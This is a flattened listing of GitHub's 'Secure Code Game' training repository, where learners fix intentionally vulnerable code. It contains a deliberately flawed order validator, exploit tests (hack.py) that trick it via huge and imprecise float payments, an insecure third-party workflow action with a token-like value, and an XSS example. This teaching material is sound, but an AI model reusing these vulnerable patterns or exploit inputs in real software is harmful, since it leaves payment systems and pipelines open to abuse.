├── .devcontainer
└── devcontainer.json
├── .github
├── dependabot.yml
└── workflows
│ ├── codeql-analysis.yml
│ ├── jarvis-code.yml
│ └── jarvis-hack.yml
├── .gitignore
├── CONTRIBUTING.md
├── LICENSE
├── README.md
├── Season-1
├── Level-1
│ ├── code.py
│ ├── hack.py
│ ├── hint.js
│ ├── solution.py
│ └── tests.py
├── Level-2
│ ├── code.h
│ ├── hack.c
│ ├── hint-1.txt
│ ├── hint-2.txt
│ ├── solution.c
│ └── tests.c
├── Level-3
│ ├── assets
│ │ ├── prof_picture.png
│ │ └── tax_form.pdf
│ ├── code.py
│ ├── hack.py
│ ├── hint.txt
│ ├── solution.py
│ └── tests.py
├── Level-4
│ ├── code.py
│ ├── hack.py
│ ├── hint.py
│ ├── solution.py
│ └── tests.py
├── Level-5
│ ├── code.py
│ ├── hack.py
│ ├── hint.txt
│ ├── solution.py
│ └── tests.py
└── README.md
├── Season-2
├── Level-1
│ ├── code.yml
│ ├── hack.yml
│ ├── hint-1.txt
│ ├── hint-2.txt
│ └── solution.yml
├── Level-2
│ ├── code.go
│ ├── code_test.go
│ ├── go.mod
│ ├── hack_test.go
│ ├── hint-1.txt
│ ├── hint-2.txt
│ └── solution
│ │ ├── go.mod
│ │ ├── solution.go
│ │ └── solution_test.go
├── Level-3
│ ├── .env.production
│ ├── code.js
│ ├── hack.admin
│ ├── hack.js
│ ├── hint.txt
│ ├── package-lock.json
│ ├── package.json
│ ├── solution.js
│ └── tests.js
├── Level-4
│ ├── code.py
│ ├── hack.txt
│ ├── hint.txt
│ ├── solution.txt
│ ├── templates
│ │ ├── details.html
│ │ └── index.html
│ └── tests.py
├── Level-5
│ ├── code.js
│ ├── hack-1.js
│ ├── hack-2.js
│ ├── hack-3.js
│ ├── hint-1.txt
│ ├── hint-2.txt
│ ├── hint-3.txt
│ ├── index.html
│ └── solution.js
└── README.md
└── requirements.txt
/.devcontainer/devcontainer.json:
--------------------------------------------------------------------------------
1 | {
2 | "onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev && pip3 install pyOpenSSL && pip3 install -r requirements.txt",
3 | "customizations": {
4 | "vscode": {
5 | "extensions": ["ms-python.python", "ms-python.vscode-pylance", "ms-vscode.cpptools-extension-pack", "redhat.vscode-yaml", "golang.go"]
6 | }
7 | },
8 | "postCreateCommand": "npm install --prefix Season-2/Level-3/ Season-2/Level-3/ && npm install --global mocha"
9 | }
--------------------------------------------------------------------------------
/.github/dependabot.yml:
--------------------------------------------------------------------------------
1 | version: 2
2 | updates:
3 | - package-ecosystem: "github-actions"
4 | directory: "/"
5 | schedule:
6 | interval: "monthly"
7 |
--------------------------------------------------------------------------------
/.github/workflows/codeql-analysis.yml:
--------------------------------------------------------------------------------
1 | name: "CodeQL Analysis"
2 |
3 | on:
4 | push:
5 | branches: [main]
6 | pull_request:
7 | branches: [main]
8 |
9 | jobs:
10 | analyze:
11 | name: Analyze
12 | runs-on: ubuntu-latest
13 | permissions:
14 | actions: read
15 | contents: read
16 | security-events: write
17 |
18 | strategy:
19 | fail-fast: false
20 | matrix:
21 | language: ['python', 'go', 'javascript']
22 |
23 | steps:
24 | - name: Checkout repository
25 | uses: actions/checkout@v4
26 |
27 | - name: Initialize CodeQL
28 | uses: github/codeql-action/init@v3
29 | with:
30 | languages: ${{ matrix.language }}
31 |
32 | - name: Autobuild
33 | uses: github/codeql-action/autobuild@v3
34 |
35 | - name: Perform CodeQL Analysis
36 | uses: github/codeql-action/analyze@v3
37 |
--------------------------------------------------------------------------------
/.github/workflows/jarvis-code.yml:
--------------------------------------------------------------------------------
1 | # //////////////////////////////////////////////////////////////////////////////////////////////////
2 | # /// ///
3 | # /// 1. Review the code in this file. Can you spot the bug? ///
4 | # /// 2. Fix the bug and push your solution so that GitHub Actions can run ///
5 | # /// 3. You successfully completed this level when .github/workflows/jarvis-hack.yml pass 🟢 ///
6 | # /// 4. If you get stuck, read the hint in hint-1.txt and try again ///
7 | # /// 5. If you need more guidance, read the hint in hint-2.txt and try again ///
8 | # /// 6. Compare your solution with solution.yml. Remember, there are several possible solutions ///
9 | # /// ///
10 | # //////////////////////////////////////////////////////////////////////////////////////////////////
11 |
12 | name: CODE - Jarvis Gone Wrong
13 |
14 | on:
15 | push:
16 | paths:
17 | - ".github/workflows/jarvis-code.yml"
18 |
19 | jobs:
20 | jarvis:
21 | if: ${{ !github.event.repository.is_template }}
22 | runs-on: ubuntu-latest
23 | permissions:
24 | contents: read
25 | steps:
26 | - name: Check out code
27 | uses: actions/checkout@v4
28 | - name: Check GitHub Status
29 | # Source of GitHub Action in line 30:
30 | # https://github.com/dduzgun-security/secure-code-game-action
31 | uses: dduzgun-security/secure-code-game-action@1c9ed9f1e57d7b8c4e9bfa8013fd54e322214eb4 # v2.0
32 | with:
33 | who-to-greet: "Jarvis, obviously ..."
34 | get-token: "token-4db56ee8-dbec-46f3-96f5-32247695ab9b"
35 |
--------------------------------------------------------------------------------
/.github/workflows/jarvis-hack.yml:
--------------------------------------------------------------------------------
1 | # This file is expected to fail ❌ upon push until you fix the bug
2 | # You successfully completed this level when this file pass 🟢 upon push
3 | name: HACK - Jarvis Gone Wrong
4 |
5 | on:
6 | push:
7 | paths:
8 | - ".github/workflows/jarvis-code.yml"
9 |
10 | jobs:
11 | jarvis:
12 | if: ${{ !github.event.repository.is_template }}
13 | runs-on: ubuntu-latest
14 | permissions:
15 | contents: read
16 | steps:
17 | - name: Check out code
18 | uses: actions/checkout@v4
19 |
20 | - name: Check for insecure actions
21 | run: |
22 | if grep -q "uses: dduzgun-security/secure-code-game-action@" $GITHUB_WORKSPACE/.github/workflows/jarvis-code.yml; then
23 | echo "Insecure action detected. Please remove it from your workflow."
24 | exit 1
25 | fi
26 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ### VSCODE ###
2 | .vscode/*
3 | !.vscode/settings.json
4 | !.vscode/tasks.json
5 | !.vscode/launch.json
6 | !.vscode/extensions.json
7 | !.vscode/*.code-snippets
8 |
9 | # Local History for Visual Studio Code
10 | .history/
11 |
12 | # Built Visual Studio Code Extensions
13 | *.vsix
14 |
15 | ### PYTHON ###
16 | # Byte-compiled / optimized / DLL files
17 | __pycache__/
18 | *.py[cod]
19 | *$py.class
20 | *.pyc
21 |
22 | # C extensions
23 | *.so
24 |
25 | # Distribution / packaging
26 | .Python
27 | build/
28 | develop-eggs/
29 | dist/
30 | downloads/
31 | eggs/
32 | .eggs/
33 | lib/
34 | lib64/
35 | parts/
36 | sdist/
37 | var/
38 | wheels/
39 | share/python-wheels/
40 | *.egg-info/
41 | .installed.cfg
42 | *.egg
43 | MANIFEST
44 |
45 | # PyInstaller
46 | # Usually these files are written by a python script from a template
47 | # before PyInstaller builds the exe, so as to inject date/other infos into it.
48 | *.manifest
49 | *.spec
50 |
51 | # Installer logs
52 | pip-log.txt
53 | pip-delete-this-directory.txt
54 |
55 | # Unit test / coverage reports
56 | htmlcov/
57 | .tox/
58 | .nox/
59 | .coverage
60 | .coverage.*
61 | .cache
62 | nosetests.xml
63 | coverage.xml
64 | *.cover
65 | *.py,cover
66 | .hypothesis/
67 | .pytest_cache/
68 | cover/
69 |
70 | # Translations
71 | *.mo
72 | *.pot
73 |
74 | # Django stuff:
75 | *.log
76 | local_settings.py
77 | db.sqlite3
78 | db.sqlite3-journal
79 |
80 | # Flask stuff:
81 | instance/
82 | .webassets-cache
83 |
84 | # Scrapy stuff:
85 | .scrapy
86 |
87 | # Sphinx documentation
88 | docs/_build/
89 |
90 | # PyBuilder
91 | .pybuilder/
92 | target/
93 |
94 | # Jupyter Notebook
95 | .ipynb_checkpoints
96 |
97 | # IPython
98 | profile_default/
99 | ipython_config.py
100 |
101 | # pyenv
102 | # For a library or package, you might want to ignore these files since the code is
103 | # intended to run in multiple environments; otherwise, check them in:
104 | # .python-version
105 |
106 | # pipenv
107 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
108 | # However, in case of collaboration, if having platform-specific dependencies or dependencies
109 | # having no cross-platform support, pipenv may install dependencies that don't work, or not
110 | # install all needed dependencies.
111 | #Pipfile.lock
112 |
113 | # poetry
114 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
115 | # This is especially recommended for binary packages to ensure reproducibility, and is more
116 | # commonly ignored for libraries.
117 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
118 | #poetry.lock
119 |
120 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
121 | __pypackages__/
122 |
123 | # Celery stuff
124 | celerybeat-schedule
125 | celerybeat.pid
126 |
127 | # SageMath parsed files
128 | *.sage.py
129 |
130 | # Environments
131 | .env
132 | .venv
133 | env/
134 | venv/
135 | ENV/
136 | env.bak/
137 | venv.bak/
138 |
139 | # Spyder project settings
140 | .spyderproject
141 | .spyproject
142 |
143 | # Rope project settings
144 | .ropeproject
145 |
146 | # mkdocs documentation
147 | /site
148 |
149 | # mypy
150 | .mypy_cache/
151 | .dmypy.json
152 | dmypy.json
153 |
154 | # Pyre type checker
155 | .pyre/
156 |
157 | # pytype static type analyzer
158 | .pytype/
159 |
160 | # Cython debug symbols
161 | cython_debug/
162 |
163 | ### JAVASCRIPT ###
164 | # compiled output
165 | /dist
166 | /tmp
167 | /out-tsc
168 |
169 | # Runtime data
170 | pids
171 | *.pid
172 | *.seed
173 | *.pid.lock
174 |
175 | # Directory for instrumented libs generated by jscoverage/JSCover
176 | lib-cov
177 |
178 | # Coverage directory used by tools like istanbul
179 | coverage
180 |
181 | # nyc test coverage
182 | .nyc_output
183 |
184 | # Grunt intermediate storage (http://gruntjs.com/creating-plugins#storing-task-files)
185 | .grunt
186 |
187 | # Bower dependency directory (https://bower.io/)
188 | bower_components
189 |
190 | # node-waf configuration
191 | .lock-wscript
192 |
193 | # IDEs and editors
194 | .idea
195 | .project
196 | .classpath
197 | .c9/
198 | *.launch
199 | .settings/
200 | *.sublime-workspace
201 |
202 | # IDE - VSCode
203 | .vscode/*
204 | !.vscode/settings.json
205 | !.vscode/tasks.json
206 | !.vscode/launch.json
207 | !.vscode/extensions.json
208 |
209 | # misc
210 | .sass-cache
211 | connect.lock
212 | typings
213 |
214 | # Logs
215 | logs
216 | *.log
217 | npm-debug.log*
218 | yarn-debug.log*
219 | yarn-error.log*
220 |
221 |
222 | # Dependency directories
223 | node_modules/
224 | jspm_packages/
225 |
226 | # Optional npm cache directory
227 | .npm
228 |
229 | # Optional eslint cache
230 | .eslintcache
231 |
232 | # Optional REPL history
233 | .node_repl_history
234 |
235 | # Output of 'npm pack'
236 | *.tgz
237 |
238 | # Yarn Integrity file
239 | .yarn-integrity
240 |
241 | # dotenv environment variables file
242 | .env
243 |
244 | # next.js build output
245 | .next
246 |
247 | # Lerna
248 | lerna-debug.log
249 |
250 | # System Files
251 | .DS_Store
252 | Thumbs.db
253 |
254 | ### C ###
255 | # Prerequisites
256 | *.d
257 |
258 | # Object files
259 | *.o
260 | *.ko
261 | *.obj
262 | *.elf
263 |
264 | # Linker output
265 | *.ilk
266 | *.map
267 | *.exp
268 |
269 | # Precompiled Headers
270 | *.gch
271 | *.pch
272 |
273 | # Libraries
274 | *.lib
275 | *.a
276 | *.la
277 | *.lo
278 |
279 | # Shared objects (inc. Windows DLLs)
280 | *.dll
281 | *.so
282 | *.so.*
283 | *.dylib
284 |
285 | # Executables
286 | *.exe
287 | *.out
288 | *.app
289 | *.i*86
290 | *.x86_64
291 | *.hex
292 |
293 | # Debug files
294 | *.dSYM/
295 | *.su
296 | *.idb
297 | *.pdb
298 |
299 | # Kernel Module Compile Results
300 | # *.mod*
301 | *.cmd
302 | .tmp_versions/
303 | modules.order
304 | Module.symvers
305 | Mkfile.old
306 | dkms.conf
--------------------------------------------------------------------------------
/CONTRIBUTING.md:
--------------------------------------------------------------------------------
1 | # Secure Code Game Contribution Guideline
2 |
3 | Thank you for your interest in contributing to the Secure Code Game. Let's collaborate and bring your ideas to life for a lasting impact on the global cybersecurity scene. Follow these guidelines:
4 |
5 | ## 1. Review current proposals
6 |
7 | Make sure your idea was not already discussed. Consider joining [existing proposals](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) and contributing collaboratively instead of duplicating efforts.
8 |
9 | ## 2. Create a new proposal
10 |
11 | Start a [new discussion](https://github.com/skills/secure-code-game/discussions/new?category=new-level-proposals) by providing, at the very least, the following elements:
12 |
13 | - **Vulnerability:** Propose a specific vulnerability that you would like to include in the game.
14 | - **Programming Language:** Specify the programming language you want to use for implementing the code.
15 | - **Scenario:** Describe the scenario where the vulnerability will be introduced.
16 |
17 | **Example:**
18 |
19 | 👋 Hi, I would like to contribute a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript. The scenario involves an online forum where users can write responses through a text box, but input sanitization wasn't implemented securely. An attacker could exploit this by injecting malicious code, for example `>`.
20 |
21 | ## Increase your proposal’s chances
22 |
23 | To increase the chances of your proposal being merged into the game, consider suggesting a vulnerability and programming language combination that we haven't yet included in the game or rejected in past discussions. While we welcome all contributions, you will have more chances for these popular vulnerabilities and programming languages:
24 |
25 | - **TypeScript/JavaScript:** Server-Side Request Forgery (SSRF), Broken Access Control, Cross-Site Request Forgery (CSRF)
26 | - **C#:** Server-Side Request Forgery (SSRF), Remote Code Execution, Insecure Deserialization, Cross-Site Request Forgery (CSRF)
27 | - **Java:** Broken Access Control, Remote Code Execution, Insecure Deserialization
28 |
29 | Please feel free to propose other vulnerabilities and programming languages or frameworks as well. For those looking for community feedback on an idea before opening a discussion, or for other collaborators and beta-testers, you can join our vibrant [Slack community](https://gh.io/securitylabslack) and engage in the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
30 |
31 | ## 3. Submit a Pull Request
32 |
33 | Once your proposal receives approval in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals), you can proceed to submit a pull request (PR) to the game's [repository](https://github.com/skills/secure-code-game). Ensure that your PR follows the [file structure](https://github.com/skills/secure-code-game) conventions of the existing game levels. For example, if you're submitting a DOM-based Cross-Site Scripting (XSS) vulnerability in JavaScript, your PR should include the following files:
34 |
35 | - storyline
36 | - code.js
37 | - hack.js
38 | - hint.js
39 | - solution.js
40 | - tests.js
41 | - dependencies in requirements.txt
42 |
43 | ## Credit
44 |
45 | We highly appreciate your contribution to the Secure Code Game. As a token of our gratitude, we will prominently display your name at the beginning of the level you contribute, along with a clickable URL to your GitHub profile or another social media platform of your choice.
46 |
47 | ## Additional Information
48 |
49 | - If you have any questions or need assistance, don't hesitate to ask for help in [GitHub Discussions](https://github.com/skills/secure-code-game/discussions/categories/new-level-proposals) or from our [Slack community](https://gh.io/securitylabslack) at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
50 |
51 | We appreciate your dedication to improving software security through the Secure Code Game 🎮 🔐
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (c) GitHub, Inc.
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
4 |
5 | The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
6 |
7 | THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
11 |
12 | # Secure Code Game
13 |
14 | _A GitHub Security Lab initiative, providing an in-repo learning experience, where learners secure intentionally vulnerable code. At the same time, this is an open source project that welcomes your [contributions](https://github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md) as a way to give back to the community._
15 |
16 |
17 |
18 |
23 |
24 | ## Welcome
25 |
26 | - **Who is this for**: Developers, students.
27 | - **What you'll learn**: How to spot and fix vulnerable patterns in real-world code, build security into your workflows, and understand security alerts generated against your code.
28 | - **What you'll build**: You will develop fixes on functional but vulnerable code.
29 | - **Prerequisites**: For the first season, you will need some knowledge of `python3` for most levels and `C` for Level 2. For the second season, you will need some knowledge of `GitHub Actions` for level 1, `go` for level 2, `python3` for level 4, and `javascript` for levels 3 and 5.
30 | - **How long**: Each season is five levels long and takes 2-9 hours to complete. The complete course has 2 seasons.
31 |
32 | ### How to start this course
33 |
34 |
44 |
45 | [](https://github.com/new?template_owner=skills&template_name=secure-code-game&owner=%40me&name=skills-secure-code-game&description=My+clone+repository&visibility=public)
46 |
47 | 1. Right-click **Start course** and open the link in a new tab.
48 | 1. In the new tab, most of the prompts will automatically fill in for you.
49 | - For owner, choose your personal account or an organization to host the repository.
50 | - We recommend creating a public repository, as private repositories will [use Actions minutes](https://docs.github.com/en/billing/managing-billing-for-github-actions/about-billing-for-github-actions).
51 | - Scroll down and click the **Create repository** button at the bottom of the form.
52 | 1. You can now proceed to the 🛠️ set up section.
53 |
54 | ## 🛠️ The set up
55 |
56 | #### 🖥️ Using codespaces
57 |
58 | All levels are configured to run instantly with GitHub Codespaces. If you chose to use codespaces, be aware that this course **will count towards your 60 hours of monthly free allowance**. For more information about GitHub Codespaces, see the "[GitHub Codespaces overview](https://docs.github.com/en/codespaces/overview)." If you prefer to work locally, please follow the local installation guide in the next section.
59 |
60 | 1. To create a codespace, click the **Code** drop down button in the upper-right of your repository navigation bar.
61 | 1. Click **Create codespace on main**.
62 | 1. After creating a codespace, relax and wait for VS Code extensions and background installations to complete. This should take less than three minutes.
63 | 1. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file.
64 | 1. Once you click on individual levels, a banner might appear on the bottom right asking you if you want to create a virtual environment. Dismiss this notification as you _don't_ need to create a virtual environment.
65 |
66 | Optional: We recommend these free-of-charge additional extensions, but we haven't pre-installed them for you:
67 |
68 | 1. `github.copilot-chat` to receive AI-generated code explanations.
69 | 1. `alexcvzz.vscode-sqlite` to visualize the SQL database created in Season-1/Level-4 and the effects of our exploits on its content.
70 |
71 | If you need assistance, don't hesitate to ask for help in our [GitHub Discussions](https://github.com/skills/secure-code-game/discussions) or on our [Slack](https://gh.io/securitylabslack), at the [#secure-code-game](https://ghsecuritylab.slack.com/archives/C05DH0PSBEZ) channel.
72 |
73 | #### 💻 Local installation
74 |
75 | Please note: You don't need a local installation if you are using GitHub Codespaces.
76 |
77 | The following local installation guide is adapted to Debian/Ubuntu and CentOS/RHEL.
78 |
79 | 1. Open your terminal.
80 | 1. Install OpenLDAP headers needed to compile `python-ldap`, depending on your Linux distribution. Check by running:
81 |
82 | ```bash
83 | uname -a
84 | ```
85 | - For Debian/Ubuntu, run:
86 | ```bash
87 | sudo apt-get update
88 | sudo apt-get install libldap2-dev libsasl2-dev
89 | ```
90 |
91 | - For CentOS/RHEL, run:
92 |
93 | ```bash
94 | sudo yum install python-devel openldap-devel
95 | ```
96 |
97 | - For Archlinux, run:
98 |
99 | ```bash
100 | sudo pacman -Sy libldap libsasl
101 | ```
102 |
103 | - Then, for all of the above Linux distributions install `pyOpenSSL` by running:
104 |
105 | ```bash
106 | pip3 install pyOpenSSL
107 | ```
108 |
109 | Once installation has completed, clone your repository to your local machine and install required dependencies.
110 |
111 | 1. From your repository, click the **Code** drop down button in the upper-right of your repository navigation bar.
112 | 1. Select the `Local` tab from the menu.
113 | 1. Copy your preferred URL.
114 | 1. In your terminal, change the working directory to the location where you want the cloned directory.
115 | 1. Type `git clone` and paste the copied URL.
116 |
117 | ```
118 | $ git clone https://github.com/YOUR-USERNAME/YOUR-REPOSITORY
119 | ```
120 |
121 | 6. Press **Enter** to create your local clone.
122 | 7. Change the working directory to the cloned directory.
123 | 8. Install dependencies by running:
124 |
125 | ```bash
126 | pip3 install -r requirements.txt
127 | ```
128 |
129 | - Programming Languages
130 |
131 | 1. To play Season 1, you will need to have `python3` and `c` installed.
132 | 1. To play Season 2, you will need to have `yaml`, `go`, `python3` and `node` installed.
133 |
134 | If you are using VS Code locally, you can install the above programming languages through the editor extensions with these identifiers:
135 |
136 | 1. `ms-python.python`
137 | 1. `ms-python.vscode-pylance`
138 | 1. `ms-vscode.cpptools-extension-pack`
139 | 1. `redhat.vscode-yaml`
140 | 1. `golang.go`
141 |
142 | Please note that for the `go` programming language, you need to perform an extra step, which is to visit the [official website](https://go.dev/dl/) and download the driver corresponding to your operating system.
143 |
144 | Now, it's necessary to install `node` to get the `npm` packages we have provided. To do so:
145 |
146 | 1. Start by installing a package manager like `homebrew` by running:
147 |
148 | ```bash
149 | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
150 | ```
151 |
152 | 2. Install `node`:
153 |
154 | ```bash
155 | brew install node
156 | ```
157 | Adapt the command to the package manager you have chosen if it's not homebrew.
158 |
159 | 3. The `npm` packages needed are specified in `package.json` and `package-lock.json`. Navigate to the `secure-code-game` repository and install them by running:
160 |
161 | ```bash
162 | npm install --prefix Season-2/Level-4/ && npm install --global mocha
163 | ```
164 |
165 | 4. At this point, you can get started with Season-1 or Season-2 by navigating on the respective folders and reading the `README.md` file.
166 |
167 | We recommend these free-of-charge additional extensions:
168 |
169 | 1. `github.copilot-chat` to receive AI-generated code explanations.
170 | 1. `alexcvzz.vscode-sqlite` to visualize the SQL database created and the effects of our exploits on its content.
171 |
172 | For more information about cloning repositories, see "[Cloning a repository](https://docs.github.com/en/repositories/creating-and-managing-repositories/cloning-a-repository)."
173 |
174 |
188 |
--------------------------------------------------------------------------------
/Season-1/Level-1/code.py:
--------------------------------------------------------------------------------
1 | '''
2 | Welcome to Secure Code Game Season-1/Level-1!
3 |
4 | Follow the instructions below to get started:
5 |
6 | 1. tests.py is passing but code.py is vulnerable
7 | 2. Review the code. Can you spot the bug?
8 | 3. Fix the code but ensure that tests.py passes
9 | 4. Run hack.py and if passing then CONGRATS!
10 | 5. If stuck then read the hint
11 | 6. Compare your solution with solution.py
12 | '''
13 |
14 | from collections import namedtuple
15 |
16 | Order = namedtuple('Order', 'id, items')
17 | Item = namedtuple('Item', 'type, description, amount, quantity')
18 |
19 | def validorder(order: Order):
20 | net = 0
21 |
22 | for item in order.items:
23 | if item.type == 'payment':
24 | net += item.amount
25 | elif item.type == 'product':
26 | net -= item.amount * item.quantity
27 | else:
28 | return "Invalid item type: %s" % item.type
29 |
30 | if net != 0:
31 | return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, net)
32 | else:
33 | return "Order ID: %s - Full payment received!" % order.id
--------------------------------------------------------------------------------
/Season-1/Level-1/hack.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import code as c
3 |
4 | class TestOnlineStore(unittest.TestCase):
5 |
6 | # Tricks the system and walks away with 1 television, despite valid payment & reimbursement
7 | def test_6(self):
8 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
9 | payment = c.Item(type='payment', description='invoice_4', amount=1e19, quantity=1)
10 | payback = c.Item(type='payment', description='payback_4', amount=-1e19, quantity=1)
11 | order_4 = c.Order(id='4', items=[payment, tv_item, payback])
12 | self.assertEqual(c.validorder(order_4), 'Order ID: 4 - Payment imbalance: $-1000.00')
13 |
14 | # Valid payments that should add up correctly, but do not
15 | def test_7(self):
16 | small_item = c.Item(type='product', description='accessory', amount=3.3, quantity=1)
17 | payment_1 = c.Item(type='payment', description='invoice_5_1', amount=1.1, quantity=1)
18 | payment_2 = c.Item(type='payment', description='invoice_5_2', amount=2.2, quantity=1)
19 | order_5 = c.Order(id='5', items=[small_item, payment_1, payment_2])
20 | self.assertEqual(c.validorder(order_5), 'Order ID: 5 - Full payment received!')
21 |
22 | # The total amount payable in an order should be limited
23 | def test_8(self):
24 | num_items = 12
25 | items = [c.Item(type='product', description='tv', amount=99999, quantity=num_items)]
26 | for i in range(num_items):
27 | items.append(c.Item(type='payment', description='invoice_' + str(i), amount=99999, quantity=1))
28 | order_1 = c.Order(id='1', items=items)
29 | self.assertEqual(c.validorder(order_1), 'Total amount payable for an order exceeded')
30 |
31 | # Put payments before products
32 | items = items[1:] + [items[0]]
33 | order_2 = c.Order(id='2', items=items)
34 | self.assertEqual(c.validorder(order_2), 'Total amount payable for an order exceeded')
35 |
36 | if __name__ == '__main__':
37 | unittest.main()
--------------------------------------------------------------------------------
/Season-1/Level-1/hint.js:
--------------------------------------------------------------------------------
1 | // Example of underflow vulnerability in JS
2 | var a = 10000000000000000; // 16 zeroes, try with 15 zeroes ;)
3 | var b = 2;
4 | var c = 1;
5 |
6 | console.log(a + b - c - a);
--------------------------------------------------------------------------------
/Season-1/Level-1/solution.py:
--------------------------------------------------------------------------------
1 | from collections import namedtuple
2 | from decimal import Decimal
3 |
4 | Order = namedtuple('Order', 'id, items')
5 | Item = namedtuple('Item', 'type, description, amount, quantity')
6 |
7 | MAX_ITEM_AMOUNT = 100000 # maximum price of item in the shop
8 | MAX_QUANTITY = 100 # maximum quantity of an item in the shop
9 | MIN_QUANTITY = 0 # minimum quantity of an item in the shop
10 | MAX_TOTAL = 1e6 # maximum total amount accepted for an order
11 |
12 | def validorder(order):
13 | payments = Decimal('0')
14 | expenses = Decimal('0')
15 |
16 | for item in order.items:
17 | if item.type == 'payment':
18 | # Sets a reasonable min & max value for the invoice amounts
19 | if -MAX_ITEM_AMOUNT <= item.amount <= MAX_ITEM_AMOUNT:
20 | payments += Decimal(str(item.amount))
21 | elif item.type == 'product':
22 | if type(item.quantity) is int and MIN_QUANTITY < item.quantity <= MAX_QUANTITY and MIN_QUANTITY < item.amount <= MAX_ITEM_AMOUNT:
23 | expenses += Decimal(str(item.amount)) * item.quantity
24 | else:
25 | return "Invalid item type: %s" % item.type
26 |
27 | if abs(payments) > MAX_TOTAL or expenses > MAX_TOTAL:
28 | return "Total amount payable for an order exceeded"
29 |
30 | if payments != expenses:
31 | return "Order ID: %s - Payment imbalance: $%0.2f" % (order.id, payments - expenses)
32 | else:
33 | return "Order ID: %s - Full payment received!" % order.id
34 |
35 | # Solution explanation:
36 |
37 | # A floating-point underflow vulnerability.
38 |
39 | # In hack.py, the attacker tricked the system by supplying an extremely high
40 | # amount as a fake payment, immediately followed by a payment reversal.
41 | # The exploit passes a huge number, causing an underflow while subtracting the
42 | # cost of purchased items, resulting in a zero net.
43 |
44 | # It's a good practice to limit your system input to an acceptable range instead
45 | # of accepting any value.
46 |
47 | # We also need to protect from a scenario where the attacker sends a huge number
48 | # of items, resulting in a huge net. We can do this by limiting all variables
49 | # to reasonable values.
50 |
51 | # In addition, using floating-point data types for calculations involving financial
52 | # values causes unexpected rounding and comparison errors as it cannot represent
53 | # decimal numbers with the precision we expect.
54 |
55 | # For example, running `0.1 + 0.2` in the Python interpreter gives `0.30000000000000004`
56 | # instead of 0.3.
57 |
58 | # The solution to this is to use the Decimal type for calculations that should work
59 | # in the same way "as the arithmetic that people learn at school."
60 | # Learn more by reading Python's official documentation on Decimal:
61 | # (https://docs.python.org/3/library/decimal.html).
62 |
63 | # It is also necessary to convert the floating point values to string first before passing
64 | # it to the Decimal constructor. If the floating point value is passed to the Decimal
65 | # constructor, the rounded value is stored instead.
66 |
67 | # Compare the following examples from the interpreter:
68 | # >>> Decimal(0.3)
69 | # Decimal('0.299999999999999988897769753748434595763683319091796875')
70 | # >>> Decimal('0.3')
71 | # Decimal('0.3')
72 |
73 | # Input validation should be expanded to also check data types besides testing allowed range
74 | # of values. This specific bug, caused by using a non-integer quantity, might occur due to
75 | # insufficient attention to requirements engineering. While in certain contexts is acceptable
76 | # to buy a non-integer amount of an item (e.g. buy a fractional share), in the context of our
77 | # online shop we falsely placed trust to users for buying a positive integer of items only,
78 | # without malicious intend.
79 |
80 |
81 | # Contribute new levels to the game in 3 simple steps!
82 | # Read our Contribution Guideline at github.com/skills/secure-code-game/blob/main/CONTRIBUTING.md
--------------------------------------------------------------------------------
/Season-1/Level-1/tests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import code as c
3 |
4 | class TestOnlineStore(unittest.TestCase):
5 |
6 | # Example 1 - shows a valid and successful payment for a tv
7 | def test_1(self):
8 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
9 | payment = c.Item(type='payment', description='invoice_1', amount=1000.00, quantity=1)
10 | order_1 = c.Order(id='1', items=[payment, tv_item])
11 | self.assertEqual(c.validorder(order_1), 'Order ID: 1 - Full payment received!')
12 |
13 | # Example 2 - successfully detects payment imbalance as tv was never paid
14 | def test_2(self):
15 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
16 | order_2 = c.Order(id='2', items=[tv_item])
17 | self.assertEqual(c.validorder(order_2), 'Order ID: 2 - Payment imbalance: $-1000.00')
18 |
19 | # Example 3 - successfully reimburses client for a return so payment imbalance exists
20 | def test_3(self):
21 | tv_item = c.Item(type='product', description='tv', amount=1000.00, quantity=1)
22 | payment = c.Item(type='payment', description='invoice_3', amount=1000.00, quantity=1)
23 | payback = c.Item(type='payment', description='payback_3', amount=-1000.00, quantity=1)
24 | order_3 = c.Order(id='3', items=[payment, tv_item, payback])
25 | self.assertEqual(c.validorder(order_3), 'Order ID: 3 - Payment imbalance: $-1000.00')
